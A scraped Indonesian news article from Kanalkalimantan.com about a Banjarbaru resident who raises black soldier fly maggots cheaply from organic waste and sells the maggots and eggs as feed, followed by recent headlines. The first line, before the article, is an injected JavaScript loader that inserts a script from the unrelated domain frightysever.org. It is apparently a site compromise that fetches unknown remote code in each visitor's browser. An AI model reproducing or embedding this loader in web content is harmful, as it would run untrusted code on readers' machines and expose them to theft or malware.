(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Modalnya Cuma Bikin Rak Kotak Kayu, Budidaya Magot ‘Lalat Tentara Hitam’ Cukup Menjanjikan


KANALKALIMANTAN.COM, BANJARBARU– Budidaya magot lalat tentara hitam atau black solder fly (BSF) yang dikembangkan Busran cukup menguntungkan. Hanya bermodal sampah organik, dia bisa memetik untung dari penjualan telur magot.

Kepada Kanalkalimantan.com, Busran mengaku bahwa ia sudah melakoni budi daya magot lalat BSF baru berselang 2 bulan lalu.

“Itu pun telurnya dikasih teman dari Jogja, jadi modal awal saya hanya bikin tempat ini, bikin rak kotak kayu itu, dan beli box plastik. Sisanya 0 rupiah, dikasih telurnya dan merawatnya cukup cari sampah organik saja,” kata Busran sambil memperlihatkan magot-magot yang siap jual di dalam box plastik.

 

 

Baca juga: Budidaya Magot ‘Lalat Tentara Hitam’, Solusi Bisnis untuk Reduksi Sampah Organik

“Magot ini sudah siap jual. Biasanya buat pakan ikan dan juga makanan unggas, jadi yang beli itu seringkali para peternak. Saya jualnya cuma Rp12.500 untuk 1 kilo, lumayan jadi pakan yang murah dan termasuk makanan tinggi protein untuk ternak,” ujarnya.

Busran memperlihatkan bahwa kandang maupun box-box media magot lalat BSF itu tidak berbau sedikit pun.

Setelah dari box plastik, magot lalat BSF yang siap bermetamorfosis ditaruh ke dalam lemari kedap cahaya. Lemari itu mempunyai corong yang terhubung ke dalam kandang besar yang terbuat dari jaring waring kasa hijau. Setelah beberapa hari, magot yang sudah berubah menjadi lalat terbang dan keluar melalui corong, masuk ke dalam kandang jaring.

Baca juga: BREAKING NEWS. Banjarbaru dan Banjarmasin Masuk ‘Daftar Hitam’ Penerapan PPKM Level 4! 

“Setelah jadi lalat mereka sudah tidak makan lagi, sehari itu cuma saya semprot air saja untuk minum,” ujar Busran.

Ia memperlihatkan seisi kandang jaring yang berisi ratusan lalat yang terbang dan hinggap di atas kayu pipih kecil.

“Mereka menaruh telur di kayu itu, telurnya biasanya saya panen 2 hari sekali. Sekali panen telurnya itu rata-rata 40 – 50 gram, tergantung cuaca juga sih. Kalo cuaca panas berhari-hari, bisa sampai 150 gram pas panen telur itu,” kata Busran. (Kanalkalimantan.com/nurul).

Reporter: nurul
Edtor: cell


Risa

Recent Posts

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

2 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

3 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

7 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

8 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

8 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

8 jam ago

This website uses cookies.